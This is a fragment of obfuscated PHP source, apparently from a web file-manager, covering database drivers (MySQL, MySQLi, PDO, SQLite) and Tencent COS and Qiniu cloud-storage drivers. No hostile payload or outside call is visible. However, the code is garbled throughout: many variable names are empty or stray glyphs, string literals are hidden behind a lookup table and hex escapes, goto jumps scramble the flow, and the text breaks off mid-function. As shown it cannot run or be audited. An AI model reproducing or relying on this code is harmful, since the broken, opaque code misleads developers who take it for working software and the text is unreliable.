$ۛ = array(); foreach ($ as $) { $Ǣ = array(); foreach ($ as $Ʈ => $ڝ) { $ڝ = $this->parseValue($ڝ); if (is_scalar($ڝ)) { $Ǣ[] = $ڝ; } } $ۛ[] = $[255] . implode($[50], $Ǣ) . $[901]; } array_walk($, array($this, $[902])); $ = ($Ǎ ? $[903] : $[904]) . $[905] . $this->parseTable($[$[274]]) . $[899] . implode($[50], $) . $[906] . implode($[50], $ۛ); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[㫙]; $this->error = mysql_errno() . $[4] . mysql_error($this->_linkID); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($ʠƠ) { if ($this->_linkID) { return mysql_real_escape_string($ʠƠ, $this->_linkID); } else { return mysql_escape_string($ʠƠ); } } public function parseKey(&$˒, $þٲ = true) { $ՠ =& $_SERVER[㫙]; if ($þٲ) { $˒ = $this->parseKeyCheck($˒); } if ($˒ != $ՠ[181] && !preg_match($ՠ[907], $˒)) { $˒ = $ՠ[380] . trim($˒, $ՠ[380]) . $ՠ[380]; } return $˒; } } class DbMysqli extends Db { public function __construct($ = '') { $Ӗ =& $_SERVER[㫙]; if (!extension_loaded($Ӗ[908])) { think_exception(think_lang($Ӗ[14]) . $Ӗ[909]); } if (!empty($)) { $this->config = $; if (empty($this->config[$Ӗ[17]])) { $this->config[$Ӗ[17]] = $Ӗ[12]; } } } public function connect($ψ = '', $ = 0) { $ =& $_SERVER[㫙]; if (!isset($this->linkID[$])) { if (empty($ψ)) { $ψ = $this->config; } $this->linkID[$] = new mysqli($ψ[$[882]], $ψ[$[884]], $ψ[$[885]], $ψ[$[21]], $ψ[$[883]] ? intval($ψ[$[883]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ل = $this->linkID[$]->server_version; $this->linkID[$]->query($[886] . think_config($[887]) . $[58]); if ($ل > $[888]) { $this->linkID[$]->query($[889]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($ה) { $ =& $_SERVER[㫙]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ה; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($ה); if ($this->_linkID->more_results()) { while (($ = $this->_linkID->next_result()) != NULL) { $->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($ڜ) { $ =& $_SERVER[㫙]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ڜ; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ㆷŠ = $this->_linkID->query($ڜ); $this->debug(); if (!1 === $ㆷŠ) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ƚ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$ƚ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ʼ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ʼ) { $this->error(); return !1; } } return !0; } private function getAll() { $ށ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $ށ[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $ށ; } public function getFields($) { $ =& $_SERVER[㫙]; $ = $this->query($[893] . $this->parseKey($)); $˰ = array(); if ($) { foreach ($ as $ȯ => $ਸ਼) { $˰[$ਸ਼[$[31]]] = array($[32] => $ਸ਼[$[31]], $[33] => $ਸ਼[$[34]], $[35] => (bool) ($ਸ਼[$[36]] === $[12]), $[37] => $ਸ਼[$[38]], $[39] => strtolower($ਸ਼[$[40]]) == $[41], $[42] => strtolower($ਸ਼[$[43]]) == $[44]); } } return $˰; } public function getTables($˗ = '') { $Î =& $_SERVER[㫙]; $̐ڛ = !empty($˗) ? $Î[895] . $˗ . $Î[896] : $Î[897]; $ = $this->query($̐ڛ); $‚͂ = array(); if ($) { foreach ($ as $ć => $ȥ) { $‚͂[$ć] = current($ȥ); } } return $‚͂; } public function replace($ʵɣ, $݃ = array()) { $ɼ̮ =& $_SERVER[㫙]; foreach ($ʵɣ as $ => $߽) { $ = $this->parseValue($߽); if (is_scalar($)) { $[] = $; $[] = $this->parseKey($); } } $، = $ɼ̮[898] . $this->parseTable($݃[$ɼ̮[274]]) . $ɼ̮[899] . implode($ɼ̮[50], $) . $ɼ̮[900] . implode($ɼ̮[50], $) . $ɼ̮[901]; return $this->execute($،); } public function insertAll($, $ = array(), $ = false) { $߸ɲ =& $_SERVER[㫙]; if (!is_array($[0])) { return !1; } $ք = array_keys($[0]); $è = array(); foreach ($ as $ޱԩ) { $Ҕ = array(); foreach ($ޱԩ as $к => $) { $ = $this->parseValue($); if (is_scalar($)) { $Ҕ[] = $; } } $è[] = $߸ɲ[255] . implode($߸ɲ[50], $Ҕ) . $߸ɲ[901]; } array_walk($ք, array($this, $߸ɲ[902])); $ۿ = $ ? $߸ɲ[903] : $߸ɲ[904]; $͠ = $ۿ . $߸ɲ[905] . $this->parseTable($[$߸ɲ[274]]) . $߸ɲ[899] . implode($߸ɲ[50], $ք) . $߸ɲ[906] . implode($߸ɲ[50], $è); return $this->execute($͠); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $đ =& $_SERVER[㫙]; $this->error = $this->_linkID->errno . $đ[4] . $this->_linkID->error; if ($đ[12] != $this->queryStr) { $this->error .= LNG($đ[48]) . $this->queryStr; } think_trace($this->error, $đ[12], $đ[49]); return $this->error; } public function escapeString($Ոާ) { if ($this->_linkID) { return $this->_linkID->real_escape_string($Ոާ); } else { return addslashes($Ոާ); } } public function parseKey(&$Ͻ, $ = true) { $ҾȐ =& $_SERVER[㫙]; if ($) { $Ͻ = $this->parseKeyCheck($Ͻ); } if ($Ͻ != $ҾȐ[181] && !preg_match($ҾȐ[907], $Ͻ)) { $Ͻ = $ҾȐ[380] . trim($Ͻ, $ҾȐ[380]) . $ҾȐ[380]; } return $Ͻ; } } goto f¬΃; a: class PathDriverCOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[㫙][211]); } public function uploadFormData($, $Ͱǎ = 3600) { $췼 =& $_SERVER[㫙]; $ = $췼[191]; $ = $췼[227]; $ԯè = $췼[1304]; $л = gmdate($췼[1305], time() + $Ͱǎ); $ = (string) time() . $췼[71] . (string) (time() + $Ͱǎ); $Ӹҋ = array($췼[1306] => $л, $췼[1307] => array(array($췼[1308] => $), array($췼[1309] => $this->bucket), array($췼[1310], $췼[1311], $췼[12]), array($췼[1312] => $ԯè), array($췼[1313] => $), array($췼[1314] => $this->accessKey), array($췼[1315] => $))); $Ӹҋ = json_encode($Ӹҋ); $׽ = hash_hmac($췼[227], $, $this->secret); $Ǟ = sha1($Ӹҋ); $ = hash_hmac($췼[227], $Ǟ, $׽); $؍ = array($췼[1308] => $, $췼[1312] => $ԯè, $췼[1316] => base64_encode($Ӹҋ), $췼[1313] => $, $췼[1314] => $this->accessKey, $췼[1317] => $, $췼[1318] => $, $췼[174] => $this->getHost()); return $؍; } public function fileOutLink($) { $ʛ =& $_SERVER[㫙]; if (substr($, 0, 7) == $ʛ[1319]) { $ = $ʛ[1320] . substr($, 7); } header($ʛ[158] . $); die; } } $_file = $_SERVER[$_SERVER[㫙][393]]; $_size = $_SERVER[㫙][394]; goto E; f¬΃: class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($̭ڦ = '') { $ʌ =& $_SERVER[㫙]; if (!class_exists($ʌ[910])) { think_exception(think_lang($ʌ[14]) . $ʌ[911]); } if (!empty($̭ڦ)) { $this->config = $̭ڦ; if (empty($this->config[$ʌ[17]])) { $this->config[$ʌ[17]] = array(); } } } public function connect($…ޯ = '', $ٍ = 0) { $瑄 =& $_SERVER[㫙]; if (!isset($this->linkID[$ٍ])) { if (empty($…ޯ)) { $…ޯ = $this->config; } $溘 = !empty($…ޯ[$瑄[17]][$瑄[18]]) ? $…ޯ[$瑄[17]][$瑄[18]] : $this->pconnect; if ($溘) { $…ޯ[$瑄[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$ٍ] = new PDO($…ޯ[$瑄[912]], $…ޯ[$瑄[884]], $…ޯ[$瑄[885]], $…ޯ[$瑄[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($…ޯ[$瑄[912]]); if (in_array($this->dbType, array($瑄[913], $瑄[914], $瑄[915], $瑄[916]))) { think_exception($瑄[917] . $this->dbType . $瑄[918] . $this->dbType . $瑄[919]); } if (!$this->linkID[$ٍ]) { think_exception($瑄[920]); } try { $this->linkID[$ٍ]->exec($瑄[921] . think_config($瑄[887])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($瑄[22])) { unset($this->config); } } return $this->linkID[$ٍ]; } public function free() { $this->PDOStatement = null; } public function query($ۛ, $ = array()) { $趼 =& $_SERVER[㫙]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ۛ; if (!empty($)) { $this->queryStr .= $趼[922] . print_r($, !0) . $趼[923]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($趼[23], 1); think_status($趼[24]); $this->PDOStatement = $this->_linkID->prepare($ۛ); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($, $ = array()) { $ =& $_SERVER[㫙]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $[922] . print_r($, !0) . $[923]; } $ئ = !1; if ($this->dbType == $[916]) { if (preg_match($[924], $this->queryStr, $)) { $this->table = think_config($[925]) . str_ireplace(think_config($[926]), $[373], $[2]); $ئ = (bool) $this->query($[927] . strtoupper($this->table) . $[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $Җ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $Җ) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ئ || preg_match($[928], $)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ض = $this->_linkID->commit(); $this->transTimes = 0; if (!$ض) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $Բ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($Բ); return $Բ; } public function getFields($ҹ) { $ӛ݉ =& $_SERVER[㫙]; $this->initConnect(!0); if (think_config($ӛ݉[929])) { $ = str_replace($ӛ݉[930], $ҹ, think_config($ӛ݉[929])); } else { switch ($this->dbType) { case $ӛ݉[913]: case $ӛ݉[931]: $ = "\123\105\x4c\105\x43\124\40\x20\40\143\x6f\x6c\165\155\x6e\x5f\x6e\141\x6d\x65\40\141\x73\40\x27\116\141\155\145\47\x2c\40\40\x20\x64\141\164\141\137\164\171\160\x65\40\141\163\x20\47\124\x79\160\145\47\x2c\40\40\40\x63\157\154\x75\155\156\137\x64\145\x66\141\165\x6c\164\x20\141\163\x20\47\x44\145\x66\x61\165\154\164\47\54\40\40\x20\151\163\137\156\165\x6c\x6c\x61\142\154\x65\40\141\x73\40\47\116\165\154\x6c\47\xa\11\11\106\122\117\115\x9\151\x6e\x66\157\162\155\x61\164\x69\x6f\x6e\137\163\143\x68\145\x6d\141\x2e\164\x61\142\154\145\x73\x20\x41\123\x20\x74\xa\x9\11\x4a\117\x49\x4e\11\151\x6e\146\157\162\155\141\x74\x69\157\x6e\x5f\163\143\150\x65\155\x61\x2e\143\x6f\x6c\x75\155\x6e\163\x20\101\123\40\x63\xa\x9\x9\x4f\x4e\40\x20\164\56\x74\141\x62\154\145\137\143\141\164\141\x6c\x6f\147\x20\75\40\x63\x2e\x74\x61\142\154\x65\x5f\143\x61\164\141\154\157\x67\xa\x9\x9\x41\116\x44\40\x74\56\164\x61\x62\154\x65\137\163\143\150\x65\x6d\141\x20\75\40\x63\56\164\x61\x62\154\145\x5f\x73\143\x68\145\x6d\141\xa\11\11\x41\x4e\104\x20\x74\56\164\141\142\x6c\145\x5f\156\x61\x6d\145\40\x3d\x20\143\x2e\x74\141\x62\154\x65\x5f\x6e\141\x6d\x65\12\x9\11\127\110\x45\x52\x45\x20\x20\40\164\x2e\164\x61\142\154\x65\x5f\156\x61\155\145\x20\x3d\40\47{$ҹ}\47"; break; case $ӛ݉[932]: $ = $ӛ݉[933] . $ҹ . $ӛ݉[934]; break; case $ӛ݉[914]: case $ӛ݉[916]: $ = $ӛ݉[935] . $ӛ݉[936] . $ӛ݉[937] . strtoupper($ҹ) . $ӛ݉[938] . strtoupper($ҹ) . $ӛ݉[939]; break; case $ӛ݉[940]: $ = $ӛ݉[941] . $ҹ . $ӛ݉[942]; break; case $ӛ݉[915]: break; case $ӛ݉[943]: default: $ = $ӛ݉[944] . ($this->dbType == $ӛ݉[943] ? "\x60{$ҹ}\x60" : $ҹ); } } $Dž = $this->query($); $ = array(); if ($Dž) { foreach ($Dž as $ => $) { $ = array_change_key_case($); $[$ӛ݉[32]] = isset($[$ӛ݉[32]]) ? $[$ӛ݉[32]] : $ӛ݉[373]; $[$ӛ݉[33]] = isset($[$ӛ݉[33]]) ? $[$ӛ݉[33]] : $ӛ݉[373]; $ = isset($[$ӛ݉[268]]) ? $[$ӛ݉[268]] : $[$ӛ݉[32]]; $[$] = array($ӛ݉[32] => $, $ӛ݉[33] => $[$ӛ݉[33]], $ӛ݉[35] => (bool) (isset($[$ӛ݉[104]]) && $[$ӛ݉[104]] === $ӛ݉[12] || isset($[$ӛ݉[35]]) && $[$ӛ݉[35]] === $ӛ݉[12]), $ӛ݉[37] => isset($[$ӛ݉[37]]) ? $[$ӛ݉[37]] : (isset($[$ӛ݉[56]]) ? $[$ӛ݉[56]] : $ӛ݉[373]), $ӛ݉[39] => isset($[$ӛ݉[95]]) ? strtolower($[$ӛ݉[95]]) == $ӛ݉[41] : (isset($[$ӛ݉[57]]) ? $[$ӛ݉[57]] : !1), $ӛ݉[42] => isset($[$ӛ݉[945]]) ? strtolower($[$ӛ݉[945]]) == $ӛ݉[44] : (isset($[$ӛ݉[95]]) ? $[$ӛ݉[95]] : !1)); } } return $; } public function getTables($ = '') { $ľ =& $_SERVER[㫙]; if (think_config($ľ[946])) { $ = str_replace($ľ[947], $, think_config($ľ[946])); } else { switch ($this->dbType) { case $ľ[914]: case $ľ[916]: $ = $ľ[948]; break; case $ľ[913]: case $ľ[931]: $ = $ľ[949]; break; case $ľ[940]: $ = $ľ[950]; break; case $ľ[915]: think_exception(think_lang($ľ[951]) . $ľ[952]); break; case $ľ[932]: $ = $ľ[45] . $ľ[46] . $ľ[47]; break; case $ľ[943]: default: if (!empty($)) { $ = $ľ[895] . $ . $ľ[896]; } else { $ = $ľ[897]; } } } $ŏ = $this->query($); $ƹ = array(); foreach ($ŏ as $ => $ᰱ) { $ƹ[$] = current($ᰱ); } return $ƹ; } protected function parseLimit($) { $ݦ訋 =& $_SERVER[㫙]; $ = $ݦ訋[12]; if (!empty($)) { switch ($this->dbType) { case $ݦ訋[940]: case $ݦ訋[932]: $ = explode($ݦ訋[50], $); if (count($) > 1) { $ .= $ݦ訋[51] . $[1] . $ݦ訋[52] . $[0] . $ݦ訋[53]; } else { $ .= $ݦ訋[51] . $[0] . $ݦ訋[53]; } break; case $ݦ訋[913]: case $ݦ訋[931]: break; case $ݦ訋[915]: break; case $ݦ訋[914]: case $ݦ訋[916]: break; case $ݦ訋[943]: default: $ .= $ݦ訋[51] . $ . $ݦ訋[53]; } } return $; } public function parseKey(&$΋¿, $ퟦ = true) { $ߔÞ =& $_SERVER[㫙]; if ($ퟦ) { $΋¿ = $this->parseKeyCheck($΋¿); } if ($this->dbType == $ߔÞ[943]) { if ($΋¿ != $ߔÞ[181] && !preg_match($ߔÞ[907], $΋¿)) { $΋¿ = $ߔÞ[380] . trim($΋¿, $ߔÞ[380]) . $ߔÞ[380]; } return $΋¿; } else { return parent::parseKey($΋¿, $ퟦ); } } public function close() { $this->_linkID = null; } public function error() { $ =& $_SERVER[㫙]; if ($this->PDOStatement) { $忦 = $this->PDOStatement->errorInfo(); $this->error = $忦[1] . $[4] . $忦[2]; } else { $this->error = $[12]; } if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[㫙]; switch ($this->dbType) { case $[940]: case $[913]: case $[931]: case $[943]: return addslashes($); case $[915]: case $[932]: case $[914]: case $[916]: return str_ireplace($[58], $[59], $); } } protected function parseValue($) { $ =& $_SERVER[㫙]; if (is_string($)) { $ = strpos($, $[4]) === 0 && in_array($, array_keys($this->bind)); $ = $ ? $this->escapeString($) : $[953] . $this->escapeString($) . $[953]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[292]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[954]), $); } elseif (is_bool($)) { $ = $ ? $[89] : $[190]; } elseif (is_null($)) { $ = $[104]; } return $; } public function getLastInsertId() { $ =& $_SERVER[㫙]; switch ($this->dbType) { case $[940]: case $[932]: case $[913]: case $[931]: case $[915]: case $[943]: return $this->_linkID->lastInsertId(); case $[914]: case $[916]: $ = $this->table; $ = $this->query("\x53\105\x4c\105\x43\124\40{$}\56\143\165\x72\x72\166\141\154\40\143\165\x72\x72\166\x61\x6c\40\x46\x52\117\x4d\x20\144\165\141\154"); return $ ? $[0][$[955]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($Ȅ) { $ =& $_SERVER[㫙]; if (!CacheLock::fileLock($[13])) { return !1; } $ځ = parent::query($Ȅ); CacheLock::fileUnLock($[13]); return $ځ; } public function execute($) { $Ȭ =& $_SERVER[㫙]; if (!CacheLock::fileLock($Ȭ[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($Ȭ[13]); return $; } } class DbSqlite3 extends DbSqlite3Base { public function query($) { $Ԣ̤ =& $_SERVER[㫙]; if (!CacheLock::fileLock($Ԣ̤[13])) { return !1; } $ڐ = parent::query($); CacheLock::fileUnLock($Ԣ̤[13]); return $ڐ; } public function execute($) { $Dz׳ =& $_SERVER[㫙]; if (!CacheLock::fileLock($Dz׳[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($Dz׳[13]); return $; } } goto DŶ; B払: class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $config = null; protected $bucketManager = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public function __construct($) { parent::__construct(); require_once SDK_DIR . $_SERVER[㫙][1419]; $this->_init($); } public function _init($͙Ⱦ) { $ٖ =& $_SERVER[㫙]; foreach ($͙Ⱦ as $ => $ϵ) { if (isset($this->{$})) { $this->{$} = $ϵ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($ٖ[1420] . LNG($ٖ[1378])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->config = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->config); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($۞꧆, $ = '', $Őð = REPEAT_RENAME) { if ($this->setContent($۞꧆, $)) { return $this->getPathOuter($۞꧆); } return !1; } public function mkdir($, $ʥ = REPEAT_SKIP) { $դ =& $_SERVER[㫙]; $ = trim($, $դ[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ = $ . $դ[8]; $ȝ = get_path_this($); $€ = $ . $ȝ; if (!$this->mkfile($€)) { return !1; } if (!$this->moveFile($€, $)) { $this->delFile($€); return !1; } return $this->getPathOuter($); } public function copyFile($م, $ң) { $ȹ = $this->bucketManager->copy($this->bucket, $م, $this->bucket, $ң, !0); return $ȹ ? !1 : $this->getPathOuter($ң); } public function moveFile($Ԙ, $񘹆) { $ݵ˅ = $this->bucketManager->move($this->bucket, $Ԙ, $this->bucket, $񘹆, !0); return $ݵ˅ ? !1 : $this->getPathOuter($񘹆); } public function delFile($ε) { if (!$this->exist($ε)) { return !0; } $Ⱥ = $this->bucketManager->delete($this->bucket, $ε); return $Ⱥ ? !1 : !0; } public function delFolder($󿦿) { $Ķ =& $_SERVER[㫙]; if (!$this->exist($󿦿)) { return !0; } $this->listItemCache = !1; $▰ = $this->fileList($󿦿); $this->listItemCache = !0; $ = trim($󿦿, $Ķ[8]) . $Ķ[8]; if (!empty($󿦿) && $󿦿 !== $Ķ[190] && !in_array($, $▰[$Ķ[77]])) { $▰[$Ķ[77]][] = $; } $ = $this->delByBatch($▰[$Ķ[76]]); if (!$) { return !1; } $ = $this->delByBatch($▰[$Ķ[77]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $綞) { $ԗǼ = $this->bucketManager->buildBatchDelete($this->bucket, $綞); list($, $كᓭ) = $this->bucketManager->batch($ԗǼ); if ($كᓭ) { return !1; } } return !0; } public function rename($, $ꌗ) { return $this->renameObject($, $ꌗ); } public function fileInfo($׺, $ = false, $䡌 = array()) { $٢ =& $_SERVER[㫙]; $Ҿ = array($٢[32] => $this->pathThis($׺), $٢[78] => $this->getPathOuter($٢[8] . $׺), $٢[33] => $٢[192], $٢[80] => isset($䡌[$٢[1421]]) ? $䡌[$٢[1421]] : 0, $٢[167] => $this->ext($׺)); if ($) { return $Ҿ; } $Ҿ[$٢[193]] = $Ҿ[$٢[86]] = 0; $Ҿ[$٢[194]] = $Ҿ[$٢[195]] = !0; if (empty($䡌)) { $䡌 = $this->objectMeta($׺); if (!$䡌) { return $Ҿ; } } if (isset($䡌[$٢[1422]])) { $Ҿ[$٢[86]] = substr($䡌[$٢[1422]] . $٢[12], 0, 10); } if (isset($䡌[$٢[1421]])) { $Ҿ[$٢[80]] = $䡌[$٢[1421]]; } return $Ҿ; } public function folderInfo($, $ = false) { $Т =& $_SERVER[㫙]; $ϝ = array($Т[32] => $this->pathThis($), $Т[78] => $this->getPathOuter($Т[8] . $), $Т[33] => $Т[79]); if ($) { return $ϝ; } $ϝ[$Т[193]] = $ϝ[$Т[86]] = 0; $ϝ[$Т[194]] = $ϝ[$Т[195]] = !0; $ = rtrim($, $Т[8]) . $Т[8]; $ = $this->objectMeta($); if (isset($[$Т[1422]])) { $ϝ[$Т[86]] = substr($[$Т[1422]] . $Т[12], 0, 10); } return $ϝ; } public function listPath($, $մ = false) { $ =& $_SERVER[㫙]; $ = $this->fileList($, $[8], !0); foreach ($[$[77]] as $ => $) { $[$[77]][$] = $this->folderInfo($, $մ); } foreach ($[$[76]] as $ => $) { $[$[76]][$] = $this->fileInfo($[$[95]], $մ, $); } return $; } public function has($, $€ = false, $؄ = true) { $շ =& $_SERVER[㫙]; $ = trim($, $շ[8]); $ȼ = empty($) && $ !== $շ[190] ? $շ[12] : $ . $շ[8]; $ի = $շ[12]; $ = 500; $א = $շ[8]; $՟ = $Ї = 0; while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $ȼ, $ի, $, $א); if ($) { break; } $ի = array_key_exists($շ[1390], $) ? $ի = $[$շ[1423]] : $շ[12]; if ($€) { if (!empty($[$շ[1424]])) { $՟ += count($[$շ[1424]]); } if (!empty($[$շ[1425]])) { $Ї += count($[$շ[1425]]); } if ($ի === $շ[12]) { break; } continue; } if ($؄) { if (!empty($[$շ[1424]])) { return !0; } } else { if (!empty($[$շ[1425]])) { return !0; } } if ($ի === $շ[12]) { break; } } if ($€) { return array($շ[202] => $՟, $շ[203] => $Ї); } return !1; } public function listAll($ܶ) { $ί =& $_SERVER[㫙]; $ϋ = $this->fileList($ܶ, $ί[12], !0); $ = array(); foreach ($ϋ[$ί[76]] as $񖩦) { $[$񖩦[$ί[95]]] = $񖩦[$ί[80]]; } foreach ($ϋ[$ί[77]] as $񖩦) { if (is_string($񖩦)) { $[$񖩦] = 0; } } return $this->listAllFiles($ܶ, array_keys($), $); } private function fileList($Β, $ΐ = '', $ = 0) { $ =& $_SERVER[㫙]; $Β = trim($Β, $[8]); $ = empty($Β) && $Β !== $[190] ? $[12] : $Β . $[8]; $ = $[12]; $ڠ = 1000; $഼ = $this->listItemCache === !1 ? !1 : !0; $ = $ޞź = array(); while (!0) { check_abort(); list($ܹ, $ρ) = $this->bucketManager->listFiles($this->bucket, $, $, $ڠ, $ΐ); if ($ρ) { break; } $ = array_key_exists($[1390], $ܹ) ? $ = $ܹ[$[1423]] : $[12]; $遈 = isset($ܹ[$[1424]]) ? $ܹ[$[1424]] : array(); $ώ = isset($ܹ[$[1425]]) ? $ܹ[$[1425]] : array(); foreach ($遈 as $ɞ΁) { if ($ɞ΁[$[95]] == $) { continue; } $Й = $ɞ΁[$[95]]; $ӜĻ = $ɞ΁[$[1421]]; $ɞ΁[$[80]] = $ӜĻ; $ = $ӜĻ == 0 && substr($Й, strlen($Й) - 1, 1) == $[8] ? !0 : !1; if ($഼) { $this->cacheMethod($[198], $Й, $); $this->cacheMethod($[199], $Й, $ɞ΁); } if ($) { $[] = $Й; continue; } $ޞź[] = $ ? $ɞ΁ : $Й; } foreach ($ώ as $Й) { if ($Й == $) { continue; } $[] = $Й; if ($഼) { $this->cacheMethod($[198], $Й, !0); } } if ($ === $[12]) { break; } } if ($഼) { $this->cacheMethod($[198], $Β, !0); } return array($[77] => $, $[76] => $ޞź); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($܆) { return $this->fileSubstr($܆, 0, -1); } public function setContent($, $ޤ = '') { $ح = $this->tempFile($this->pathThis($)); file_put_contents($ح, $ޤ); if ($this->upload($, $ح)) { $this->tempFileRemve($ح); return !0; } return !1; } public function refreshUrls($ܾ㪃) { $Ǔ =& $_SERVER[㫙]; $̨ = array(); if (is_array($ܾ㪃)) { foreach ($ܾ㪃 as $㘬) { $̨[] = $this->link($㘬); } } else { $̨[] = $this->link($ܾ㪃); } $ = new Qiniu\Cdn\CdnManager($this->auth); list($ʵ, $˦) = $->refreshUrls($̨); if ($˦) { return !1; } return $ʵ[$Ǔ[1177]] == $Ǔ[761] ? !0 : !1; } public function fileSubstr($, $, $) { $ҏ =& $_SERVER[㫙]; if (!($ = $this->link($))) { return !1; } $ט = !1; if ($ > 0) { $ݪ = $ + $ - 1; $ט = array($ҏ[1426] . $ . $ҏ[460] . $ݪ); } $؟ = url_request($, $ҏ[225], !1, $ט); return $؟[$ҏ[751]] ? $؟[$ҏ[1187]] : !1; } public function upload($, $ʳ, $Ӏ = false, $ŋԫ = REPEAT_REPLACE) { $› = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $); $գ = get_file_mime(get_path_ext($ʳ)); list($, $) = $›->putFile($, $, $ʳ, null, $գ); return $ ? !1 : $this->getPathOuter($); } public function uploadFormData($ȼݢ, $ = 3600) { return $this->uploadToken($ȼݢ, $); } public function multiUploadFormData($, $Ϝΰ = 3600) { return $this->uploadToken($, $Ϝΰ); } private function uploadToken($֐, $ݿ͛ = 3600) { $ =& $_SERVER[㫙]; $ˡÖ = $ݿ͛; $ = array($[1427] => $[1428]); $ = $֐; $ = $this->auth->uploadToken($this->bucket, $, $ˡÖ, $, !0); $싐 = empty($this->region) || $this->region == $[1429] ? $[12] : $[460] . $this->region; $ = http_type() . "\72\x2f\x2f\165\160\154\157\x61\x64{$싐}\56\x71\151\156\x69\165\160\56\x63\x6f\x6d\57"; return array($[1430] => $, $[1431] => $); } public function download($, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ת = $this->link($))) { return !1; } $Ė = 0; $ = 1024 * 200; $ύ = fopen($, $_SERVER[㫙][1432]); while (!0) { $ = $this->fileSubstr($, $Ė, $); if ($ === !1) { return !1; } fwrite($ύ, $); $Ė += $; if (strlen($) < $) { break; } } fclose($ύ); return $; } public function link($˷, $ܓ = '') { if (!$this->isFile($˷)) { return !1; } $ᴣ = $this->getHost() . $_SERVER[㫙][8] . $this->pathEncode($˷) . $ܓ; return $this->auth->privateDownloadUrl($ᴣ, 3600 * 12); } public function fileOut($, $ = false, $΍˛ = false, $؈ = '') { $ =& $_SERVER[㫙]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $΍˛, $؈); } if (!$΍˛) { $΍˛ = $this->pathThis($); } $ݚ = $ ? $[1433] . rawurlencode($΍˛) : $[12]; $҇ = $this->link($, $ݚ); $this->fileOutLink($҇); } public function fileOutServer($轡ӣ, $ϴ = false, $І = false, $ˈ = '') { 